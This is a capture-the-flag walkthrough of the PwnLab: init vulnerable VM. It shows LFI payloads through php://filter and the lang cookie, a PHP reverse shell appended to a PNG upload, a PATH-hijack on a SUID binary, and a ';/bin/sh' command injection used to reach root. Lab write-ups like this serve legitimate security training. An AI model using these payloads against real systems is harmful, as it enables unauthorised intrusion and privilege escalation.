PwnLab: init walk through


nmap -A -p- -T5 -oA full_nmap
Host is up (0.00029s latency).
Not shown: 65531 closed ports
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 33297/tcp status
|_ 100024 1 35432/udp status
3306/tcp open mysql MySQL 5.5.47-0+deb8u1
| mysql-info:
| Protocol: 53
| Version: .5.47-0+deb8u1
| Thread ID: 38
| Capabilities flags: 63487
| Some Capabilities: ODBCClient, Support41Auth, SupportsTransactions, Speaks41ProtocolOld, LongColumnFlag, IgnoreSigpipes, ConnectWithDatabase, LongPassword, FoundRows, IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn, SupportsLoadDataLocal, InteractiveClient, SupportsCompression, Speaks41ProtocolNew
| Status: Autocommit
|_ Salt: L&wF8'WckolP,)*7tcuA
33297/tcp open status 1 (RPC #100024)

Apache web server and mysql running.



Time to  visit the website…


So the webapp appears to be including the “login” file.

As it doesn’t have .php on the end it’s assumed the code behind it will append “.php”. Sometimes this can be bypassed using a poison null byte

For example /?page=../…/../etc/passwd%00 but this doesn’t work in this case.

Reading source code with php filters

It’s possible to use a php filter convert.base64-encode to retrieve the source of the login page which we can look through to find bugs and creds.

GET /?page=php://filter/convert.base64-encode/resource=login


So now we have the base64 of the source code we can decode it within burp Decoder.


After looking over the code it’s apparent the database settings are stored in config.php, let’s grab that file and then we can connect to the mysql seen earlier.

GET /?page=php://filter/convert.base64-encode/resource=config

Which when decoded becomes:

<!--?php $server = "localhost"; $username = "root"; $password = "H4u%QJ_H99"; $database = "Users"; ?-->


Excellent now lets connect to the mysql database

mysql -uroot -pH4u%QJ_H99 -h


So the passwords are just base64 encoded,

| user | pass |
| kent | Sld6WHVCSkpOeQ== | JWzXuBJJNy
| mike | U0lmZHNURW42SQ== | SIfdsTEn6I
| kane | aVN2NVltMkdSbw== | iSv5Ym2GRo

So after logging into the web app with kent / JWzXuBJJNy it’s possible to access the upload page.

Let’s see what’s in the upload source code to see if we have any chance of bypassing it to upload a php shell.

GET page=php://filter/convert.base64-encode/resource=upload

Decodes to the following:

<?php session_start(); if (!isset($_SESSION['user'])) { die('You must be log in.'); } ?>

<form action='' method='post' enctype='multipart/form-data'>
			<input type='file' name='file' id='file' />
			<input type='submit' name='submit' value='Upload'/>

if(isset($_POST['submit'])) {
	if ($_FILES['file']['error'] <= 0) { $filename = $_FILES['file']['name']; $filetype = $_FILES['file']['type']; $uploaddir = 'upload/'; $file_ext = strrchr($filename, '.'); $imageinfo = getimagesize($_FILES['file']['tmp_name']); $whitelist = array(".jpg",".jpeg",".gif",".png"); if (!(in_array($file_ext, $whitelist))) { die('Not allowed extension, please upload images only.'); } if(strpos($filetype,'image') === false) { die('Error 001'); } if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') { die('Error 002'); } if(substr_count($filetype, '/')>1){
			die('Error 003');
		$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
		if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
			echo "<img src=\"".$uploadfile."\">
		} else {
			die('Error 4');

So in a nutshell it checks for a valid php session. Then checks if the file ends in .jpg”,”.jpeg”,”.gif”,”.png” and has  the correct mime type.  It then proceeds to
md5 the path and filename and append the file extension back on, finally moving the file to “/upload”.

I looked at this for awhile trying to work out how to bypass the file upload without success.

Lang Cookie LFI

I went back to reading more of the web apps source code and the index page contained the following:

<?php //Multilingual. Not implemented yet. //setcookie("lang","en.lang.php"); if (isset($_COOKIE['lang'])) { include("lang/".$_COOKIE['lang']); } // Not implemented yet. ?>

Not implemented…but nor is it uncommented. The code is including the cookie lang without any valdation, so it’s vulnerable to LFI, let’s try including /etc/passwd.


Awesome that worked and kent, mike and kane have user accounts, password resuse? Now I just need something containing PHP code and it can be included to get a shell.

Getting a Shell

To get this all that’s needed is to upload an image and then after it paste in a php reverse shell.

I like to use the one located at /usr/share/webshells/php/php-reverse-shell.php in kali as it daemonizes.

Prior to usage you just have to update the IP to connect back on, it’s commented with CHANGE THIS.

So I saved the pwnlab png logo and intercepted it with burp and pasted the php-reverse-shell.php after the image as shown below:


Now the image is uploaded with the php code after in upload/65106e7b5322045a610e8b83c8b9e876.png

So plug that into the cookie LFI and a shell is returned.


Now let’s see if we can get into kent, mike or kane’s user accounts.


Can’t su without an tty, no problem can use the Python TTY Shell Trick

python -c 'import pty; pty.spawn("/bin/sh")'


Hmm so mike’s password wasn’t the same but kanes is…let’s poke around in his home directory.



A SUID program to send a message to mike and using cat without a full file path which means it can be exploited by poisoning the path to load our “cat” that will just run sh.
sh is used instead of bash because sh does not drop privileges.

 echo "/bin/sh" > cat
chmod 777 cat
export PATH=.:$PATH

Now when msgmike is run we have a shell with mikes account

kane_to_mikeTo root SUID

Now let’s see what’s in mikes directory, a program that sends a message to root.


Run strings against it and the following jumps out:

Message for root: 
/bin/echo %s >> /root/messages.txt

So it’s vulnerable to command injection.

/bin/echo givemeroot;/bin/sh >> /root/messages.txt

The ; lets /bin/sh be run right after so we have ROOT 😀


Thanks for the VM Chronicoder!